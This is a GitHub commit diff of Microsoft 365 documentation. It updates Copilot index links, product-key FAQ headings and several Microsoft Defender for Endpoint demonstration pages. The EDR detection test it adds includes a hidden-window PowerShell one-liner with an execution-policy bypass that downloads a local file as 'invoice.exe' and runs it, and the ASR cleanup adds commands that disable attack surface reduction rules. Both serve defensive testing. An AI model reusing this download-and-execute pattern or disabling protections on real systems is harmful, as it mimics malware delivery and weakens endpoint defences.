Skip to content

Commit a9e6481

Browse files
authored
Merge branch 'main' into docs-editor/manage-rbac-1705428614
2 parents a17d93d + 0c92a5c commit a9e6481

53 files changed

Lines changed: 302 additions & 129 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

copilot/index.yml

Lines changed: 11 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -25,8 +25,8 @@ additionalContent:
2525
# Card
2626
- title: Get ready for Copilot for Microsoft 365
2727
links:
28-
- text: Copilot for Microsoft 365 overview
29-
url: microsoft-365-copilot-overview.md
28+
- text: Apply principles of Zero Trust to Microsoft Copilot for Microsoft 365
29+
url: /security/zero-trust/zero-trust-microsoft-365-copilot
3030
- text: Sensitivity labels
3131
url: /microsoft-365/compliance/sensitivity-labels
3232
- text: Review current access, Entra ID
@@ -40,10 +40,14 @@ additionalContent:
4040
# Card
4141
- title: Get started with Copilot for Microsoft 365
4242
links:
43+
- text: Copilot for Microsoft 365 overview
44+
url: microsoft-365-copilot-overview.md
4345
- text: Requirements
4446
url: microsoft-365-copilot-requirements.md
45-
- text: Setup
47+
- text: Get started
4648
url: microsoft-365-copilot-setup.md
49+
- text: Wizard-based setup guide
50+
url: https://go.microsoft.com/fwlink/?linkid=2249661
4751
- text: Change update channel of Microsoft 365 Apps to enable Copilot
4852
url: /deployoffice/updates/change-channel-for-copilot
4953
- text: Enable users
@@ -55,23 +59,23 @@ additionalContent:
5559
links:
5660
- text: Data, Privacy, and Security
5761
url: microsoft-365-copilot-privacy.md
58-
- text: Apply principles of Zero Trust to Microsoft 365 Copilot
59-
url: /security/zero-trust/zero-trust-microsoft-365-copilot
6062
- text: Zero trust illustrations
6163
url: /security/zero-trust/zero-trust-tech-illus#zero-trust-for-microsoft-365-copilot
6264
- text: Microsoft Purview data security and compliance protections for Microsoft Copilot
6365
url: /purview/ai-microsoft-purview
6466
- text: Isolation controls
6567
url: /compliance/assurance/assurance-microsoft-365-isolation-controls
6668
# Card
67-
- title: Manage and extend Copilot for Microsoft 365
69+
- title: Manage Copilot for Microsoft 365
6870
links:
6971
- text: Manage Copilot for Microsoft 365 with the Copilot page
7072
url: microsoft-365-copilot-page.md
7173
- text: Manage Plugins in Integrated Apps (PREVIEW)
7274
url: /microsoft-365/admin/manage/manage-plugins-for-copilot-in-integrated-apps
73-
- text: Related admin controls
75+
- text: Related Microsoft 365 admin controls
7476
url: /microsoft-365/solutions/tenant-management-overview
77+
- text: Manage Copilot with commercial data protection
78+
url: /copilot/overview
7579

7680
# Card
7781
- title: Get trained on Copilot for Microsoft 365

microsoft-365/commerce/licenses/product-keys-faq.yml

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -34,7 +34,7 @@ sections:
3434
For more information, see [Online Service Activation for Open programs FAQ](/licensing/online-service-activation-faq).
3535
3636
- question: |
37-
How do I find product keys in the Microsoft 365 admin center?
37+
How to find product keys in the Microsoft 365 admin center
3838
answer: |
3939
1. Sign into the Microsoft 365 admin center.
4040
2. Go to **Billing** > **Your products** > **Volume licensing** > **Downloads & keys** > hover on product and select **View keys**.
@@ -44,14 +44,14 @@ sections:
4444
Select **Download all product keys** to download the keys displayed for a license to a local drive.
4545
4646
- question: |
47-
How do I find SQL Server product keys?
47+
How to find SQL Server product keys
4848
answer: |
4949
The SQL license key is embedded in the software's activation wizard rather than displayed in the admin center and is detected automatically during installation. For more information, see [The SQL Server Installation Guide](/sql/database-engine/install-windows/install-sql-server).
5050
5151
You can also find the key by downloading the SQL ISO file from the admin center > ..\x64 folder > DefaultSetup.ini file. Make sure to back up any existing version before installing or upgrading SQL editions. If you need help with troubleshooting technical issues during product installation or online service activation, contact Microsoft Technical Support by submitting a [Technical Support request](https://support.microsoft.com/oas).
5252
5353
- question: |
54-
How do I find a product key for Volume Licensing purchase?
54+
How to find a product key for Volume Licensing purchase
5555
answer: |
5656
If your agreement authorizes access to a product that requires a key, you can find those keys by going to **Billing** > **Your products** > **Volume licensing** > **Downloads & keys**.
5757
@@ -159,7 +159,7 @@ sections:
159159
The number of activations available for a product won't always match the number of licenses purchased. Usually, you receive more activations in case you need to reinstall and activate some of your products. Check the Licensing Summary section of your agreement to view the number of licenses.
160160
161161
- question: |
162-
How do I request an increase to MAK activation limits?
162+
How to request an increase to MAK activation limits
163163
answer: |
164164
Increases to MAK activation quantity can be requested via web form and are granted by exception. For Canada and the United States, submit [Volume Licensing Support Requests](https://support.microsoft.com/supportrequestform/2afa6f15-b710-db46-909a-8346017c802f). For all other countries/regions, submit a [Support Web Form](/licensing/contact-us).
165165
@@ -172,7 +172,7 @@ sections:
172172
- Business justification or reason for deployment.
173173
174174
- question: |
175-
How do I activate licenses using a Multiple Activation Key (MAK)?
175+
How to activate licenses using a Multiple Activation Key (MAK)
176176
answer: |
177177
You can activate licenses in one of two ways using MAK:
178178
@@ -223,7 +223,7 @@ sections:
223223
- Run a Windows Server virtual machine on a newer version of Windows Server.
224224
225225
- question: |
226-
How do I activate Windows Terminal Server and Remote Desktop Service (RDS)?
226+
How to activate Windows Terminal Server and Remote Desktop Service (RDS)
227227
answer: |
228228
After you download your server media from the VLSC you can activate it by using the product activation wizard. You don't need to locate a volume license key or product set up key in the VLSC. Completing all the activation wizard steps prompts the Server to connect with the Microsoft Clearing House via the internet to validate the data. Alternatively, for offline servers the activation wizard offers phone or web activation.
229229
@@ -249,7 +249,7 @@ sections:
249249
For more information on re-imaging rights, see [Product licensing briefs](https://www.microsoft.com/licensing/docs/view/Licensing-Briefs).
250250
251251
- question: |
252-
How do I download my keys to a local file?
252+
How to download my keys to a local file
253253
answer: |
254254
The Microsoft 365 admin center offers an option to download product keys to a local file for later use. When you download product keys from the Downloads and Keys page, the file contains all Volume License Keys associated with agreements in your admin center profile. However, if you download keys from the Licensing ID view on the Relationship Summary page, the file contains only the keys associated with the Licensing ID you're viewing.
255255
@@ -266,7 +266,7 @@ sections:
266266
- name: Support
267267
questions:
268268
- question: |
269-
How do I contact support?
269+
How to contact support
270270
answer: |
271271
Microsoft 365 admin center customers can contact support by phone or by web form. Microsoft responds to web form submissions within 24 hours. To contact support, see [Contact Us](/licensing/contact-us).
272272

microsoft-365/security/defender-endpoint/defender-endpoint-demonstration-attack-surface-reduction-rules.md

Lines changed: 13 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -19,15 +19,17 @@ ms.collection:
1919
- demo
2020
ms.topic: article
2121
ms.subservice: asr
22-
ms.date: 10/21/2022
22+
ms.date: 01/15/2024
2323
---
2424

2525
# Attack surface reduction rules demonstrations
2626

2727
**Applies to:**
2828

29-
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3029
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
32+
- [Microsoft Defender Antivirus](/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows)
3133

3234
Attack surface reduction rules target specific behaviors that are typically used by malware and malicious apps to infect machines, such as:
3335

@@ -37,8 +39,8 @@ Attack surface reduction rules target specific behaviors that are typically used
3739

3840
## Scenario requirements and setup
3941

40-
- Windows 10 1709 build 16273
41-
- Windows 10 1803 build (1803 rules)
42+
- Windows 11, Windows 10 1709 build 16273 or later
43+
- Windows Server 2022, Windows Server 2019, Windows Server 2016 and Windows Server 2012 R2 with the unified MDE client.
4244
- Microsoft Defender AV
4345
- Microsoft Office (required for Office rules and sample)
4446
- [Download attack surface reduction PowerShell scripts](https://demo.wd.microsoft.com/Content/WindowsDefender_ASR_scripts.zip)
@@ -132,7 +134,7 @@ You should immediately see an "Action blocked" notification.
132134

133135
You should immediately see an "Action blocked" notification.
134136

135-
### Scenario 3 (1803): ASR rule blocks unsigned USB content from executing
137+
### Scenario 3 (Windows 10 version 1803 or later): ASR rule blocks unsigned USB content from executing
136138

137139
1. Configure the rule for USB protection (B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4).
138140

@@ -162,6 +164,7 @@ Download and run this [clean-up script](https://demo.wd.microsoft.com/Content/AS
162164

163165
Alternately, you can perform these manual steps:
164166

167+
165168
```powershell
166169
Add-MpPreference -AttackSurfaceReductionRules_Ids BE9BA2D9-53EA-4CDC-84E5-9B1EEEE46550 -AttackSurfaceReductionRules_Actions Disabled
167170
Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EfC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Disabled
@@ -174,10 +177,15 @@ Add-MpPreference -AttackSurfaceReductionRules_Ids D1E49AAC-8F56-4280-B9BA-993A6D
174177
Add-MpPreference -AttackSurfaceReductionRules_Ids B2B3F03D-6A65-4F7B-A9C7-1C7EF74A9BA4 -AttackSurfaceReductionRules_Actions Disabled
175178
Add-MpPreference -AttackSurfaceReductionRules_Ids C1DB55AB-C21A-4637-BB3F-A12568109D35 -AttackSurfaceReductionRules_Actions Disabled
176179
Add-MpPreference -AttackSurfaceReductionRules_Ids 01443614-CD74-433A-B99E-2ECDC07BFC25 -AttackSurfaceReductionRules_Actions Disabled
180+
Add-MpPreference -AttackSurfaceReductionRules_Ids 56a863a9-875e-4185-98a7-b882c64b5ce5 -AttackSurfaceReductionRules_Actions Disabled
181+
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Disabled
182+
Add-MpPreference -AttackSurfaceReductionRules_Ids e6db77e5-3df2-4cf1-b95a-636979351e5b -AttackSurfaceReductionRules_Actions Disabled
183+
Add-MpPreference -AttackSurfaceReductionRules_Ids a8f5898e-1dc8-49a9-9878-85004b8a61e6 -AttackSurfaceReductionRules_Actions Disabled
177184
Add-MpPreference -AttackSurfaceReductionRules_Ids 26190899-1602-49E8-8B27-EB1D0A1CE869 -AttackSurfaceReductionRules_Actions Disabled
178185
Add-MpPreference -AttackSurfaceReductionRules_Ids 7674BA52-37EB-4A4F-A9A1-F0F9A1619A2C -AttackSurfaceReductionRules_Actions Disabled
179186
```
180187

188+
181189
Cleanup **c:\demo** encryption by running the [encrypt/decrypt file](https://demo.wd.microsoft.com/Content/ransomware_cleanup_encrypt_decrypt.exe)
182190

183191
## See also

microsoft-365/security/defender-endpoint/defender-endpoint-demonstration-block-at-first-sight-bafs.md

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -26,14 +26,19 @@ ms.date: 10/21/2022
2626

2727
**Applies to:**
2828

29-
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3029
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
32+
- [Microsoft Defender Antivirus](/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows)
33+
- [Microsoft Defender for Individuals](https://www.microsoft.com/microsoft-365/microsoft-defender-for-individuals)
3134

3235
Block at First Sight, is a feature of Microsoft Defender Antivirus cloud-delivered protection that provides a way to detect and block new malware within seconds. You can test that it is working as expected by downloading a fake malware file.
3336

3437
## Scenario requirements and setup
3538

36-
- Windows 10 Anniversary update (1607) or later
39+
- Windows 11, Windows 10 Anniversary update (1607) or later
40+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, and Windows Server 2012 R2 with the new unified Defender for Endpoint client.
41+
3742
- Cloud protection is enabled
3843
- You can [download and use the Powershell script](https://www.powershellgallery.com/packages/WindowsDefender_InternalEvaluationSettings/) to enable this setting and others
3944

microsoft-365/security/defender-endpoint/defender-endpoint-demonstration-potentially-unwanted-applications.md

Lines changed: 8 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -26,15 +26,20 @@ ms.date: 11/20/2023
2626

2727
**Applies to:**
2828

29-
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3029
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
32+
- [Microsoft Defender Antivirus](/microsoft-365/security/defender-endpoint/microsoft-defender-antivirus-windows)
33+
- [Microsoft Defender for Individuals](https://www.microsoft.com/microsoft-365/microsoft-defender-for-individuals)
3134

3235
The Potentially Unwanted Applications (PUA) protection feature in Microsoft Defender Antivirus can identify and block PUAs from downloading and installing on endpoints in your network. These applications aren't considered viruses, malware, or other types of threats, but might perform actions on endpoints that adversely affect their performance or use.
3336

3437
## Scenario requirements and setup
3538

36-
- Windows 10, Windows 11
37-
39+
- Windows 11 or Windows 10
40+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, and Windows Server 2008 R2 SP1
41+
- macOS
42+
- Linux
3843
- Enable PUA protection. For more information, see the [Detect and block Potentially Unwanted Applications](detect-block-potentially-unwanted-apps-microsoft-defender-antivirus.md) article.
3944
- You can also [download and use the PowerShell script](https://www.powershellgallery.com/packages/WindowsDefender_InternalEvaluationSettings/) to enable this setting and others.
4045

microsoft-365/security/defender-endpoint/defender-endpoint-demonstration-smartscreen-url-reputation.md

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -19,20 +19,22 @@ ms.collection:
1919
- demo
2020
ms.topic: article
2121
ms.subservice: asr
22-
ms.date: 10/21/2022
22+
ms.date: 01/15/2024
2323
---
2424

2525
# URL reputation demonstrations
2626

2727
**Applies to:**
2828

29-
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3029
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
- [Microsoft Defender for Endpoint Plan 1](https://go.microsoft.com/fwlink/p/?linkid=2154037)
3132

3233
Test how Microsoft Defender SmartScreen helps you identify phishing and malware websites based on URL reputation.
3334
Scenario requirements and setup
3435

35-
- Windows 10 or 11
36+
- Windows 11 or Windows
37+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2 and Windows Server 2008 R2 SP1.
3638
- Microsoft Edge browser required
3739
- For more information, see [Microsoft Defender SmartScreen](/windows/security/threat-protection/microsoft-defender-smartscreen/microsoft-defender-smartscreen-overview)
3840

microsoft-365/security/defender-endpoint/edr-detection.md

Lines changed: 58 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -19,14 +19,70 @@ ms.custom: admindeeplinkDEFENDER
1919
ms.topic: conceptual
2020
ms.subservice: mde
2121
search.appverid: met150
22-
ms.date: 11/17/2023
22+
ms.date: 01/15/2024
2323
---
24+
2425
# EDR detection test for verifying device's onboarding and reporting services
2526

27+
#### Applies to:
28+
29+
- [Microsoft Defender for Endpoint Plan 2](https://go.microsoft.com/fwlink/p/?linkid=2154037)
30+
- [Microsoft Defender for Business](https://www.microsoft.com/security/business/endpoint-security/microsoft-defender-business)
31+
32+
## Scenario requirements and setup
33+
34+
- Windows 11, Windows 10 version 1709 build 16273 or newer, Windows 8.1, or Windows 7 SP1.
35+
- Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2, and Windows Server 2008 R2 SP1.
36+
- Linux
37+
- macOS
38+
- Microsoft Defender for Endpoint
39+
- Microsoft Defender for Endpoint on Linux
40+
- Microsoft Defender for Endpoint on macOS
41+
2642
Endpoint detection and response for Endpoint provide advanced attack detections that are near real-time and actionable. Security analysts can prioritize alerts effectively, gain visibility into the full scope of a breach, and take response actions to remediate threats.
2743

2844
Run an EDR detection test to verify that the device is properly onboarded and reporting to the service. Perform the following steps on the newly onboarded device:
2945

46+
### Windows
47+
48+
1. Open a Command Prompt window
49+
50+
2. At the prompt, copy and run the command below. The Command Prompt window will close automatically.
51+
52+
53+
```powershell
54+
powershell.exe -NoExit -ExecutionPolicy Bypass -WindowStyle Hidden $ErrorActionPreference= 'silentlycontinue';(New-Object System.Net.WebClient).DownloadFile('http://127.0.0.1/1.exe', 'C:\\test-WDATP-test\\invoice.exe');Start-Process 'C:\\test-WDATP-test\\invoice.exe'
55+
```
56+
57+
3. If successful, the detection test will be marked as completed and a new alert will appear in few minutes.
58+
59+
### Linux
60+
61+
1. Download [script file](https://aka.ms/LinuxDIY) to an onboarded Linux server
62+
63+
64+
```bash
65+
curl -o ~/Downloads/MDE Linux DIY.zip https://aka.ms/LinuxDIY
66+
```
67+
68+
1. Extract the zip
69+
70+
```bash
71+
unzip ~/Downloads/MDE Linux DIY.zip
72+
```
73+
74+
1. And run the following command:
75+
76+
```bash
77+
./mde_linux_edr_diy.sh
78+
```
79+
80+
After a few minutes, a detection should be raised in Microsoft Defender XDR.
81+
82+
3. Look at the alert details, machine timeline, and perform your typical investigation steps.
83+
84+
### macOS
85+
3086
1. In your browser, Microsoft Edge for Mac or Safari, download *MDATP MacOS DIY.zip* from [https://aka.ms/mdatpmacosdiy](https://aka.ms/mdatpmacosdiy) and extract.
3187

3288
The following prompt appears:
@@ -45,7 +101,7 @@ Run an EDR detection test to verify that the device is properly onboarded and re
45101
>
46102
> > **"MDATP MacOS DIY" cannot be opened because the developer cannot be verifier.**<br/>
47103
> > macOS cannot verify that this app is free from malware.<br/>
48-
> > **\[Move to Trash\]** **\[Cancel\]**
104+
> > **[Move to Trash]** **[Cancel]**
49105
50106
7. Click **Cancel**.
51107

0 commit comments

Comments
 (0)